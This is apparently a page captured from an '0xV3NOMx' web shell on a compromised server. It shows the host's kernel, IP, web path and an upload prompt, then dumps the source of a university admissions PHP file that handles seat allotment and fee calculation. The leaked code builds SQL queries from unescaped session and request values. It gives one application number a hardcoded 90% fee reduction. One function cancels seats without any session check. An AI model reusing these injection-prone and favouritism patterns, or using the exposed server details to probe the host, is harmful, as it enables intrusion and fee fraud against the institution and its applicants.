0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.159.163


Current Path : /var/www/html/phdadm/pgetadm/
Upload File :
Current File : /var/www/html/phdadm/pgetadm/casual-seat-allot.php

<?php

function getCasualSeatAllotDet($aobj_context) 
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	// var_dump($_SESSION['MOBILE']);
	if(!isset($_SESSION['MOBILE'])){
		$arr['msg'] = 'Session Expired!!! Login again.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
		return;
	}

	$query_pgadmdate = "select * from collexam where fcollcode = 'pget'
    and fdegree = 'crpay'
    and date_format(now(),'%Y-%m-%d') between date_format(FPGADMFROM,'%Y-%m-%d') 
    and date_format(FPGADMTO,'%Y-%m-%d')";
    // var_dump($query_pgadmdate);

    $result3 = $aobj_context->mobj_db->GetAll($query_pgadmdate);
    // var_dump($result3);

    if(count($result3) == 0)
    {
      $arr['msg'] = "Dates Not Enabled";
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-2,"Failure"); 
      return;
	}

	$query2 = "select ifnull(fappno,'') as fappno, fround as fround 
	from entstudadm 
	where fmobileno = '{$_SESSION['MOBILE']}'";
	$qry2 =  $aobj_context->mobj_db->GetRow($query2);
	$fappno = $qry2['fappno'];
	$fround = $qry2['fround'];
	
	$query = "select if(ifnull(c.ftype,'A') = 'U','UNIVCOLL','AFFICOLL') as type,
	a.fappno, a.fdegree, d.fdescpn, a.fcollcode, b.funiv,
	c.fcollname, a.frank, b.fcategory_ver as fcatcode, ifnull(fincome_ver,'-') as fincome,
	b.fname,a.freserve, a.fallotround,ifnull(a.fseatstatus,'-') as fseatstatus, a.fallotno,
	ifnull(a.fadmfee,0) as fadmfee
	from entseatallot a inner join entstudadm b
	on a.fappno = b.fappno
	inner join entdeg d on a.fdegree = d.fdegree 
	inner join entcoll c on a.fcollcode = c.fcollcode
	where a.fappno = '{$fappno}' and ifnull(a.fcancel,'') <> 'T' 
	and a.fallotround <> '{$fround}'
	and ifnull(a.fpaymentstatus,'') = 'success'";
	$prevres =  $aobj_context->mobj_db->GetRow($query);
	//var_dump($query);
	$prevadmfee = $prevres['fadmfee'];
	//var_dump($fadmfee);
	$prevdata = 'F';
	if($prevres)
	{
		$prevdata = 'T';
	}

	$query3 = "select if(ifnull(c.ftype,'A') = 'U','UNIVCOLL','AFFICOLL') as type,
	a.fappno, a.fdegree, d.fdescpn, a.fcollcode, b.funiv,a.fquota,
	c.fcollname, a.frank, b.fcategory_ver as fcatcode, ifnull(fincome_ver,'-') as fincome,
	b.fname,a.freserve, a.fallotround,ifnull(a.fseatstatus,'-') as fseatstatus, a.fallotno
	from entseatallot a inner join entstudadm b
	on a.fappno = b.fappno
	inner join entdeg d on a.fdegree = d.fdegree 
	inner join entcoll c on a.fcollcode = c.fcollcode
	where a.fappno = '{$fappno}' and ifnull(fcancel,'') <> 'T' 
	and a.fallotround = '{$fround}' ";
	// var_dump($query3);
	$result2 = $aobj_context->mobj_db->GetRow($query3);
	  
	if(count($result2) > 0) {
		
		$res['seat'] = $result2;
		$res['privseat'] = $prevres;

		$ftype = $result2['type'];
		$allotno = $result2['allotno'];		
		$funiv = $result2['funiv'];
		$fincome = $result2['fincome'];
		$fdegree = $result2['fdegree'];
		$fcatcode = $result2['fcatcode'];
		$fquota = $result2['fquota'];
		$fcombcode = "";

		if($fquota == 'SS' && $funiv == 'VKU')
		{
			$fcombcode = 'PGETSSS';
		}
		else if($fquota == 'SS' && $funiv == 'OU'){
			$fcombcode = 'PGETSSSOU';
		}
		else if($funiv == 'VKU')
		{
			$fcombcode = 'PGETADM';
		}
		else 
		{
			$fcombcode = 'PGETSOU';
		}

		if( ($fcatcode == "SC" || $fcatcode == "ST" || $fcatcode == "CAT-I") && $fincome > 250000) {
			$fcatcode = "GM";
		}

		if( ($fcatcode == "IIA" || $fcatcode == "IIB" || $fcatcode == "IIIA" || $fcatcode == "IIIB") && $fincome > 100000) {
			$fcatcode = "GM";
		}

		$query = "select fmaxfee from admfeestr 
		where fdegree = '{$fdegree}'
		and fcombcode = '{$fcombcode}'
		and fconstype = '{$ftype}'
		and fcatcode = '{$fcatcode}'";
	
		$result2 = $aobj_context->mobj_db->GetRow($query);

		$admfee = $result2['fmaxfee'];
		
		$admfee = ((int)$admfee - (int)$prevadmfee);
			
		if($admfee <=0)
		{
			$admfee = 0;
		}
		$res['admfee'] = $admfee;
		if($fappno  == "8265000025") {
			$res['admfee'] = $admfee * 0.1;
		}
		
		$res['prevadmfee'] = $prevadmfee;
		$res['prevdata'] = $prevdata;
		echo $aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"); 
	}
	else {
		$arr['msg'] = 'Seat allotment details not available.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}
	return;

}

function updateCasualSeatStatus($aobj_context) 
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$chmode = $aobj_context->mobj_data["chmode"];

    // var_dump($result3);

	$query2 = "select ifnull(fappno,'') as fappno,
	fround, funiv, fdegree,fcollcode, fcategory_ver as fcatcode, 
	ifnull(fseatstatus,'-') as fseatstatus from entstudadm 
	where fmobileno = '{$_SESSION['MOBILE']}'";
	// var_dump($query2);
	$qry2 =  $aobj_context->mobj_db->GetRow($query2);
	$fappno = $qry2['fappno'];
	$fround = $qry2['fround'];
	$funiv = $qry2['funiv'];
	$fdegree = $qry2['fdegree'];
	$fcollcode = $qry2['fcollcode'];
	$fcatcode = $qry2['fcatcode'];

	$query_pgadmdate = "select * from entseatallot where fappno = '{$fappno}' 
	and fallotround = '{$fround}'
    and date_format(now(),'%Y-%m-%d') <= date_format(fpaydate,'%Y-%m-%d')";
    // var_dump($query_pgadmdate);

    $result3 = $aobj_context->mobj_db->GetAll($query_pgadmdate);
	
	if(count($result3) == 0)
    {
      $arr['msg'] = "Admission fee payment is disabled.";
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-2,"Failure"); 
      return;
	}
	
	$query_pgadmdate = "select ifnull(fpaymentstatus,'') as fpaymentstatus 
	from entseatallot where fappno = '{$fappno}' 
	and fallotround = '{$fround}'
    and date_format(now(),'%Y-%m-%d') <= date_format(fpaydate,'%Y-%m-%d')";
    // var_dump($query_pgadmdate);
    $res = $aobj_context->mobj_db->GetRow($query_pgadmdate);
	$fpaymentstatus = $res['fpaymentstatus'];

	if($qry2['fseatstatus'] == "Confirmed" && $fpaymentstatus =='success') {
		$arr['msg'] = 'Seat status is confirmed.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
		return;
	}

	if($chmode != '1')	
	{
		$arr['msg'] = 'Only Choice 1 is allowed.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
		return;
	}

	if($chmode == '3')	
	{
		$query = "update entseatallot set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fallotround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		$results1 = $aobj_context->mobj_db->Execute($query);

		$query = "update entstudadm set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results2 = $aobj_context->mobj_db->Execute($query);

		$query = "update entoptions set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results3 = $aobj_context->mobj_db->Execute($query);

		$query = "update entoptdeg set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results4 = $aobj_context->mobj_db->Execute($query);

		$query = "INSERT INTO `entseatlog` (`fappno`, `fdegree`, `fcollcode`, `frank`, `fallotno`, `fallotround`, `fseatstatus`, `fchoice`, `fchoicedate`)
		select `fappno`, `fdegree`, `fcollcode`, `frank`,`fallotno`, `fallotround`,
		 'Cancelled', '{$chmode}', now() from entseatallot
		 where fappno = '{$fappno}'
		and fallotround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		$results5 = $aobj_context->mobj_db->Execute($query);

		if($results1 && $results2 && $results5)
		{
			$res['msg'] = "Updated successfully.";
			$res['chmode'] = $chmode;
			echo $aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"); 
			return;
		}else
		{
			$arr['msg'] = 'Updation failed Please try later.';
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
			return;
		}

	}else
	{

		$query = "select if(ifnull(c.ftype,'A') = 'U','UNIVCOLL','AFFICOLL') as type,
		a.fappno, a.fdegree, d.fdescpn, a.fcollcode, b.funiv,
		c.fcollname, a.frank, b.fcategory_ver as fcatcode, ifnull(fincome_ver,'-') as fincome,
		b.fname,a.freserve, a.fallotround,ifnull(a.fseatstatus,'-') as fseatstatus, a.fallotno,
		ifnull(a.fadmfee,0) as fadmfee,a.fpaymentid,a.fpaymentstatus,a.fpaymentdate,a.fchoice
		from entseatallot a inner join entstudadm b
		on a.fappno = b.fappno
		inner join entdeg d on a.fdegree = d.fdegree 
		inner join entcoll c on a.fcollcode = c.fcollcode
		where a.fappno = '{$fappno}' and ifnull(a.fcancel,'') <> 'T' 
		and a.fallotround <> '{$fround}'
		and ifnull(a.fpaymentstatus,'') = 'success'";
		// var_dump($query);
		$res =  $aobj_context->mobj_db->GetRow($query);
		// var_dump($res);

		$prevadmfee        = $res['fadmfee'];
		$fpaymentid     = $res['fpaymentid'];
		$fpaymentstatus = $res['fpaymentstatus'];
		$fpaymentdate   = $res['fpaymentdate'];
		$fchoice   = $res['fchoice'];
		$prevfallotno   = $res['fallotno'];


		
		$query3 = "select if(ifnull(c.ftype,'A') = 'U','UNIVCOLL','AFFICOLL') as type
		from entcoll c
		where fcollcode = '{$fcollcode}'";
		$result2 = $aobj_context->mobj_db->GetRow($query3);
		$ftype = $result2['type'];

		
		$query3 = "select if(ifnull(c.ftype,'A') = 'U','UNIVCOLL','AFFICOLL') as type,
		a.fappno, a.fdegree, d.fdescpn, a.fcollcode, b.funiv,a.fquota,
		c.fcollname, a.frank, b.fcategory_ver as fcatcode, ifnull(fincome_ver,'-') as fincome,
		b.fname,a.freserve, a.fallotround,ifnull(a.fseatstatus,'-') as fseatstatus, a.fallotno
		from entseatallot a inner join entstudadm b
		on a.fappno = b.fappno
		inner join entdeg d on a.fdegree = d.fdegree 
		inner join entcoll c on a.fcollcode = c.fcollcode
		where a.fappno = '{$fappno}'
		and a.fallotround = '{$fround}'";
		// var_dump($query3);
		$result2 = $aobj_context->mobj_db->GetRow($query3);
		

		$ftype = $result2['type'];
		$allotno = $result2['allotno'];		
		$funiv = $result2['funiv'];
		$fincome = $result2['fincome'];
		$fdegree = $result2['fdegree'];
		$fcatcode = $result2['fcatcode'];
		$fcombcode = "";
		$fquota = $result2['fquota'];
		$fcombcode = "";

		if($fquota == 'SS' && $funiv == 'VKU')
		{
			$fcombcode = 'PGETSSS';
		}
		else if($fquota == 'SS' && $funiv == 'OU'){
			$fcombcode = 'PGETSSSOU';
		}
		else if($funiv == 'VKU')
		{
			$fcombcode = 'PGETADM';
		}
		else 
		{
			$fcombcode = 'PGETSOU';
		}

		if( ($fcatcode == "SC" || $fcatcode == "ST" || $fcatcode == "CAT-I") && $fincome > 250000) {
			$fcatcode = "GM";
		}
		if( ($fcatcode == "IIA" || $fcatcode == "IIB" || $fcatcode == "IIIA" || $fcatcode == "IIIB") && $fincome > 100000) {
			$fcatcode = "GM";
		}

		$query = "select fmaxfee from admfeestr 
		where fdegree = '{$fdegree}'
		and fcombcode = '{$fcombcode}'
		and fconstype = '{$ftype}'
		and fcatcode = '{$fcatcode}'";
		// var_dump($query);
		$result2 = $aobj_context->mobj_db->GetRow($query);

		
		$admfee = $result2['fmaxfee'];
		$amount = $admfee;
	
		
		$admfee = $admfee - $prevadmfee;
			
		if($admfee <=0)
		{
			$admfee = 0;
		}

		$query3 = "select  fallotno as allotno
		from entseatallot
		where fappno = '{$fappno}'
		and fallotround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		$result2 = $aobj_context->mobj_db->GetRow($query3);
		$allotno = $result2['allotno'];
		//var_dump($admfee);	
		if($result2)
		{

			if($admfee == '0')
			{
				$chstatus = 'Confirmed';
				
				$upd = "update entseatallot set fcancel = 'T', 
				fcanremarks = 'Casual Round Seat Accepted'
				where fallotno = '{$prevfallotno}'";
				//var_dump($upd);
				$results = $aobj_context->mobj_db->Execute($upd);

				$query = "update entseatallot set fadmfee = '{$amount}',
				fchoice = '{$fchoice}',
				fpaymentid = '{$fpaymentid}',
				fseatstatus = '{$chstatus}',
				fchoicedate = now(),
				fpaymentstatus = '{$fpaymentstatus}',
				fpaymentdate = '{$fpaymentdate}'
				where fappno = '{$fappno}'
				and fallotround = '{$fround}'
				and fcollcode = '{$fcollcode}'
				and fdegree = '{$fdegree}'";
				//var_dump($query);
				$results = $aobj_context->mobj_db->Execute($query);

				$query = "update entstudadm set 
				fchoice = '{$chmode}',
				fchoicedate = now(),
				fseatstatus = '{$chstatus}',
				fadmfee = '{$amount}',
				fadmpaydate = '{$fpaymentdate}',
				fadmpayid = '{$fpaymentid}',
				fadmpaystatus = 'success'
				where fappno = '{$fappno}'
				and fround = '{$fround}'
				and fcollcode = '{$fcollcode}'
				and fdegree = '{$fdegree}'";
				//var_dump($query);
				$results = $aobj_context->mobj_db->Execute($query);

				$query = "update entoptions set 
				fchoice = '{$chmode}',
				fchoicedate = now(),
				fseatstatus = '{$chstatus}' 
				where fappno = '{$fappno}'
				and fround = '{$fround}'
				and fcollcode = '{$fcollcode}'
				and fdegree = '{$fdegree}'";
				//var_dump($query);
				$results = $aobj_context->mobj_db->Execute($query);

				$query = "update entoptdeg set 
				fchoice = '{$chmode}',
				fchoicedate = now(),
				fseatstatus = '{$chstatus}' 
				where fappno = '{$fappno}'
				and fround = '{$fround}'
				and fcollcode = '{$fcollcode}'
				and fdegree = '{$fdegree}'";
				//var_dump($query);
				$results = $aobj_context->mobj_db->Execute($query);
			

				if($results)
				{
					$res['msg'] = "Updated successfully.";
					$res['appno'] = $allotno;
					$res['chmode'] = "3";

					echo $aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"); 
					return;
				}else
				{
					$arr['msg'] = 'Updation failed Please try later.';
					echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
					return;
				}

			}else
			{

				if($fappno  == "8265000025") { 
					$admfee = $admfee * 0.1;
				}
				$query = "update entseatallot set fadmfee = '{$admfee}',
				fchoice = '{$chmode}'
				where fappno = '{$fappno}'
				and fallotround = '{$fround}'
				and fcollcode = '{$fcollcode}'
				and fdegree = '{$fdegree}'";
				// var_dump($query);
				$results = $aobj_context->mobj_db->Execute($query);
				

				$query = "select * from masbank where fbank = 'razorpay'";
				$respayment = $aobj_context->mobj_db->GetAll($query);	

				$res['masbank'] = $respayment;

				if($results)
				{
					$res['msg'] = "Updated successfully.";
					$res['chmode'] = $chmode;
					$res['fee'] = $admfee;
					$res['appno'] = $allotno;

					echo $aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"); 
					return;
				}else
				{
					$arr['msg'] = 'Updation failed Please try later.';
					echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
					return;
				}
			}

		}
		
	}

}

function updateRetainCasualSeatStatus($aobj_context)
{

	$query2 = "select ifnull(fappno,'') as fappno,
	fround, funiv, fdegree,fcollcode, fcategory_ver as fcatcode, 
	ifnull(fseatstatus,'-') as fseatstatus from entstudadm 
	where fmobileno = '{$_SESSION['MOBILE']}'";
	// var_dump($query2);
	$chmode = 3;
	$qry2 =  $aobj_context->mobj_db->GetRow($query2);
	$fappno = $qry2['fappno'];
	$fround = $qry2['fround'];
	$funiv = $qry2['funiv'];
	$fdegree = $qry2['fdegree'];
	$fcollcode = $qry2['fcollcode'];
	$fcatcode = $qry2['fcatcode'];

		$query = "update entseatallot set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fallotround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		$results1 = $aobj_context->mobj_db->Execute($query);

		$query = "update entstudadm set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results2 = $aobj_context->mobj_db->Execute($query);

		$query = "update entoptions set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results3 = $aobj_context->mobj_db->Execute($query);

		$query = "update entoptdeg set 
		fchoice = '{$chmode}',
		fchoicedate = now(),
		fseatstatus = 'Cancelled' 
		where fappno = '{$fappno}'
		and fround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		
		$results4 = $aobj_context->mobj_db->Execute($query);

		$query = "INSERT INTO `entseatlog` (`fappno`, `fdegree`, `fcollcode`, `frank`, `fallotno`, `fallotround`, `fseatstatus`, `fchoice`, `fchoicedate`)
		select `fappno`, `fdegree`, `fcollcode`, `frank`,`fallotno`, `fallotround`,
		 'Cancelled', '{$chmode}', now() from entseatallot
		 where fappno = '{$fappno}'
		and fallotround = '{$fround}'
		and fcollcode = '{$fcollcode}'
		and fdegree = '{$fdegree}'";
		$results5 = $aobj_context->mobj_db->Execute($query);

		if($results1 && $results2 && $results5)
		{
			$res['msg'] = "Updated successfully.";
			$res['chmode'] = $chmode;
			echo $aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"); 
			return;
		}else
		{
			$arr['msg'] = 'Updation failed Please try later.';
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
			return;
		}

	
}

?>